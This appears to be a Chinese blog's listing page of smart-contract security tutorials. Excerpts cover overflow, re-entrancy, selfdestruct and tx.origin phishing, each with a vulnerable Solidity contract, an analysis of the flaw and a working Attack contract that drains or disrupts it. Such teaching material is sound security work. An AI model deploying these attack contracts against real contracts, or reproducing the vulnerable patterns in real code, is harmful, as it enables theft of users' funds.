首页
状态
Search
1
Zookeeper 3.8.0 安装配置
243 阅读
2
zerotier-cli 常用命令
147 阅读
3
2023 年电商数据可视化训练
117 阅读
4
算术溢出 Arithmetic Overflow and Underflow
89 阅读
5
Linux centos 7 磁盘扩容步骤
76 阅读
全部文章
大数据
区块链
登录
Search
标签搜索
比赛
大数据
区块链
区块链安全
漏洞修复
笔记
Spark
Spark on Yarn
Hive
HBase
网站合集
区块链开发
fisco bcos
JAVA SDK
IDEA
Hadoop 2.7.7
Hadoop HA
高可用
Linux
扩容
残月
累计撰写
26
篇文章
累计收到
33
条评论
首页
栏目
全部文章
大数据
区块链
页面
状态
搜索到
6
篇与
区块链
的结果
2023-12-12
Windows 下通过IDEA 调用 JAVA SDK 连接 fisco-bcos链
Windows 下通过IDEA 调用 JAVA SDK 连接 fisco-bcos链
2023年12月12日
70 阅读
6 评论
0 点赞
2023-12-10
算术溢出 Arithmetic Overflow and Underflow
算术溢出(arithmetic overflow)或简称为溢出(overflow) 分为两种:上溢和下溢。所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity 中,uint8 所能表示的范围是 0 - 255 这 256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 - 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。 如果一个合约有溢出漏洞的话会导致计算的实际结果和预期的结果产生非常大的差异,这样轻则会影响合约的正常逻辑,重则会导致合约中的资金丢失。但是溢出漏洞是存在版本限制的,在 Solidity < 0.8 时溢出不会报错,当 Solidity >= 0.8 时溢出会报错。所以当我们看到 0.8 版本以下的合约时,就要注意这个合约可能出现溢出问题。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; contract TimeLock { mapping(address => uint) public balances; mapping(address => uint) public lockTime; function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; } function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; } function withdraw() public { require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } }问题分析这个合约类似重入(Re-Entrancy)的合约,不过是已经修复过的(可以先看 重入攻击 Re-Entrancy 合约在看这个理解更快),在此基础上添加了一个 lockTime mapping 在deposit方法中可以看到在转账后,在用户的lockTime更新重置了一个星期的时间戳;这个合约还新增一个increaseLockTime方法有个类型为uint的传入值,在原先lockTime 的基础上累加了一个传入值;这里就可以看出问题,这个方法可以外部调用没有做权限隔离,累加时并没有进行校验是否溢出,并且这个合约是 pragma solidity ^0.7.6;下面withdraw没有太大变化,多了一个require(block.timestamp > lockTime[msg.sender], "Lock time not expired");判断如果lockTime的时间戳大于当前区块链时间将无法交易,这就是个时间锁。可以看出通过increaseLockTime方法就可以绕过withdraw方法中的block.timestamp > lockTime[msg.sender]的判断,从而在时间未到时取出余额;攻击代码contract Attack { TimeLock timeLock; constructor(TimeLock _timeLock) { timeLock = TimeLock(_timeLock); } fallback() external payable {} function attack() public payable { timeLock.deposit{value: msg.value}(); timeLock.increaseLockTime( type(uint).max + 1 - timeLock.lockTime(address(this)) ); timeLock.withdraw(); } } 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的TimeLock合约地址,在attack方法中调用TimeLock的deposit方法,并向合约存入对应的value余额(这个时候按照合约逻辑,存入余额的账户已经被时间锁上锁了,无法取出余额),下面调用timeLock合约的 increaseLockTime方法,传入值为 : uint类型的最大值 + 1 - 用户当前的lockTime值这里获取uint最大值加上1再减去用户lockTime值的结果传入到increaseLockTime方法进行累加操作得出的结果正好为0。 例如: lockTime = 30 uint最大值为 = 256 传入值 = uint最大值 +1 - lockTime = 256 + 1 - 30 = 227 increaseLockTime 方法 lockTime += 传入值 转换为 lockTime = lockTime + 传入值 = 30 + 227 =257 257 触发溢出 变为 0隐藏内容,请前往内页查看详情
2023年12月10日
89 阅读
10 评论
0 点赞
2023-12-09
重入攻击 Re-Entrancy
以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。 我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }问题分析 合约EtherStore提供了deposit、withdraw两个转入转出方法,还有一个查询合约账户的方法getBalance,在全局定义了一个balances mapping这个map用来记录每个用户账户转入到此合约的余额数(注意:这里balances只是作为记录,实际余额被转到合约账户中,可以理解为这里是个账本记录了每个人的余额类似虚拟账号,但是实际余额都放在一起,也就是都在合约账户中) 正因为余额放在了一起,攻击者才能通过重入偷走所有人的余额。这里合约中withdraw先判断账户在balances中是否有余额,然后向msg.sender用户通过call进行转账,这里就是问题所在,在执行call的时候会触发fallback函数,如果攻击者在fallback方法中再次调用withdraw方法,这个时候在balances中的msg.sender余额并没有变动(合约在转账完成后才在第16行对balances中的msg.sender余额清零)所以require(bal > 0)并不会触发中断,并接着执行msg.sender.call进行转账并触发fallback函数无限循环,直到合约账户余额为空攻击合约contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1); etherStore.deposit{value: 1}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } 攻击合约传入EtherStore地址,在fallback中调用etherStore里的withdraw()来达成触发fallback重复调用withdraw,在attack方法中需要先向etherStore存入 1余额(不然无法调用withdraw方法,etherStore balances中攻击者并没有余额会触发 require(bal > 0))。攻击复现执行步骤隐藏内容,请前往内页查看详情
2023年12月09日
47 阅读
0 评论
1 点赞
2023-12-09
自毁函数 Self Destruct
自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } 问题分析 这里问题在于使用 address(this).balance ,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount 那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity 中有很多可以转账的操作例如: transfer :转账出错会抛出异常后面代码不执行; send :转账出错不会抛出异常只返回 true/false 后面代码继续执行; call.value().gas()() :转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击 selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。 向这里可以使用 selfdestruct 强制向合约转账。攻击合约contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { address payable addr = payable(address(etherGame)); selfdestruct(addr); } } 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame合约地址,在attack方法中将etherGame的合约地址作为转账地址,并将地址放入到selfdestruct中。当通过Attackselfdestruct向etherGame合约强行转一定额度账使其大于或者等于7 ether,下次用户执行时将不会触发winner = msg.sender;这个语法。攻击复现执行步骤隐藏内容,请前往内页查看详情
2023年12月09日
47 阅读
0 评论
0 点赞
2023-12-08
钓鱼攻击 tx.origin
tx.origin是 Solidity中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin返回交易的原始发送者,在本例中是授权帐户。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } }问题分析 合约部署时将部署用户作为当前合约的owner,并定义了transfer方法,此方法需要传入一个转账用户地址 _to和转账数量 _amount。在第一行通过 require 并使用tx.origin和owner判断是否为部署用户,不是将抛出 "Not owner",第12行 向_to 地址 转账 _amount 数量的虚拟币(call 为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"。这题主要问题在于在使用tx.origin作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。 例如: 第一步 用户-A :部署了 Wallet 合约; 攻击者-B:部署了 钓鱼的恶意合约; 第二步 用户-A :调用了 攻击者-B 恶意合约 第二步 分析 这个时候如果恶意合约调用了 用户-A 部署的 Wallet合约,此时合约中的tx.origin获取的地址为用户-A的地址,并向_to地址转账,并不会触发require的判断,此时攻击者-B只需要将_to 在攻击合约中定义为个人账户地址,此时用户-A的用户余额已被转走。攻击代码contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } } 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet合约地址,并将个人地址保存在owner中,在 用户-A调用 Attack.attack()方法时,攻击合约将会调用Wallet合约的transfer方法,传入攻击者的地址owner和Wallet合约账户的所剩余额。攻击复现执行步骤隐藏内容,请前往内页查看详情
2023年12月08日
47 阅读
1 评论
0 点赞
1
2